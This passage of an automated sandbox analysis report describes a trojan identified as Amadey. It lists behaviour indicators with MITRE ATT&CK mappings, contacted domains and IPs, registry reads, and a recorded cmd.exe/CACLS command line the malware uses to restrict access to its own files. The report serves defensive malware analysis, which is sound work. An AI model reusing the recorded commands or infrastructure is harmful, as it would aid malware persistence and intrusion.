\"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")\n Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"GetSystemInfo\" (Indicator: \"GetSystemInfo\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersionExW\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")\n Found reference to API \"GetVersionExW\" (Indicator: \"GetVersion\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.DLL at 00000000-00000932-46466-1034-00BEBBF1\n GetProcessHeap@KERNEL32.dll at 50909-1426-0041BBF1","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetTimeZoneInformation@KERNEL32.DLL directly followed by \"cmp eax, FFFFFFFFh\" and \"je 00BEEFCEh\" at 00000000-00000932-46466-231-00BEE96B","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$2b","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"oldplayer.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"ss41.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"oneetx.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"schtasks.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"cacls.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"ss41.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OLDPLAYER.EXE\")\n \".exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\SS41.EXE\")\n \"oldplayer.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OLDPLAYER.EXE\")\n \"oldplayer.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\ONEETX.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Microsoft Connection Test\" (SID: 2031071, Rev: 4, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET USER_AGENTS Microsoft Device Metadata Retrieval Client User-Agent\" (SID: 2027390, Rev: 4, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO Windows OS Submitting USB Metadata to Microsoft\" (SID: 2025275, Rev: 4, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$2c","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"oldplayer.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\207aa4515d (UID: 00000000-00006156)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$2e","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"cmd.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00002788)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$2f","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$30","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"app.nnnaajjjgc.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"156.236.72.121:443\"\n \"5.42.65.80:80\"\n \"154.221.26.108:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"D:\\Mktmp\\Amadey\\Release\\Amadey.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.DLL at 00000000-00000932-46466-354-00BD3C00\n WaitForSingleObjectEx@KERNEL32.DLL at 00000000-00000932-46466-360-00BE3424\n Sleep@KERNEL32.DLL at 00000000-00000932-46466-586-00BDEE60\n Sleep@KERNEL32.DLL at 00000000-00000932-46466-587-00BDB720\n Sleep@KERNEL32.dll at 50909-890-0040EE60\n Sleep@KERNEL32.dll at 50909-891-0040B720","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: ss41.exe)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryExW@KERNEL32.DLL at 00000000-00006156-28658-11-0009924D\n LoadLibraryExW@KERNEL32.DLL at 00000000-00000932-43545-12-00BE924D\n LoadLibraryExW@KERNEL32.DLL at 00000000-00000932-46466-60-00BE4994","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$31","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")\n Found reference to API \"yncShellExecuted\" (Indicator: \"ShellExecute\"; Source: \"00000000-00000932.00000000.69539.03130000.00000004.mdmp, 00000000-00000932.00000001.71457.03130000.00000004.mdmp, 00000000-00000932.00000002.73376.03130000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationA\" (Indicator: \"SHFileOperation\"; File: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp\")\n Found reference to API \"SHFileOperationA\" (Indicator: \"SHFileOperation\"; Source: \"00000000-00000932.00000000.69539.00BF7000.00000002.mdmp, 00000000-00000932.00000001.71457.00BF7000.00000002.mdmp, 00000000-00000932.00000002.73376.00BF7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$33","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\SM0:6580:64:WilError_01\"\n \"Local\\SM0:6580:168:WilStaging_02\"\n \"Local\\ZonesCacheCounterMutex\"\n \"SM0:6580:64:WilError_01\"\n \"Local\\SM0:6156:168:WilStaging_02\"\n \"Local\\SM0:6156:64:WilError_01\"\n \"SM0:6156:64:WilError_01\"\n \"Local\\SessionImmersiveColorMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Executes echo command","description":"Process \"%WINDIR%\\SysWOW64\\cmd.exe\" with commandline \"/k echo Y|CACLS \"oneetx.exe\" /P \"idMumCb:N\"&&CACLS \"oneetx.exe\" /P \"idMumCb:R\" /E&&echo Y|CACLS \"..\\\\207aa4515d\" /P \"idMumCb:N\"&&CACLS \"..\\\\207aa4515d\" /P \"idMumCb:R\" /E&&Exit\" (UID: 00000000-00002788)\n Process \"%WINDIR%\\SysWOW64\\cmd.exe\" with commandline \"%WINDIR%\\\\system32\\\\cmd.exe /S /D /c\" echo Y\"\" (UID: 00000000-00002528)\n Process \"%WINDIR%\\SysWOW64\\cmd.exe\" with commandline \"%WINDIR%\\\\system32\\\\cmd.exe /S /D /c\" echo Y\"\" (UID: 00000000-00007128)","origin":"Monitored Target","mitre_attack_id":"T1059.003","relevance":1,"id":"target-343","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"ss41.exe\" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n \"oldplayer.exe\" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"$34","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$35","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\".exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 754C0000\n \".exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72DD0000\n \"oldplayer.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 754C0000\n \"oldplayer.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72DD0000\n \"ss41.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at EBC20000\n \"ss41.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at EB020000\n \"oneetx.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 72DD0000\n \"schtasks.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 754C0000\n \"cmd.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 754C0000\n \"cacls.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 754C0000\n \"oneetx.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 754C0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\".exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 77870000\n \"oldplayer.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 77870000\n \"ss41.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at EC750000\n \"schtasks.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 77870000\n \"cmd.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 77870000\n \"cacls.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 77870000\n \"oneetx.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 77870000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c774ebfc7f0000@ntdll.dll\"\n \"220023000000000018c774ebfc7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"82ecd.Trojan.bin\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"ss41.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"oldplayer.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$36","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"ss41.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"oldplayer.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"82ecd.Trojan.bin\" has an executable section named \".text\"\n \"ss41.exe\" has an executable section named \".text\"\n \"oldplayer.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"82ecd.Trojan.bin\" has an writable section named \".bss\"\n \"ss41.exe\" has an writable section named \".data\"\n \"oldplayer.exe\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$37","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"ss41.exe\" has high imagebase \"0x100000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$38","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"oldplayer.exe\" (UID: 00000000-00006156) was launched with new environment variables: \"PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"oldplayer.exe\" (UID: 00000000-00006156) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"\n Process \"cmd.exe\" (UID: 00000000-00002528) was launched with new environment variables: \"PROMPT=\"$P$G\"\"\n Process \"oneetx.exe\" (UID: 00000000-00005192) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"\n Process \"oneetx.exe\" (UID: 00000000-00005192) was launched with missing environment variables: \"PROMPT, PROCESSOR_ARCHITEW6432\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"app.nnnaajjjgc.com\"\n \"z.nnnaajjjgc.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"ss41.exe\" 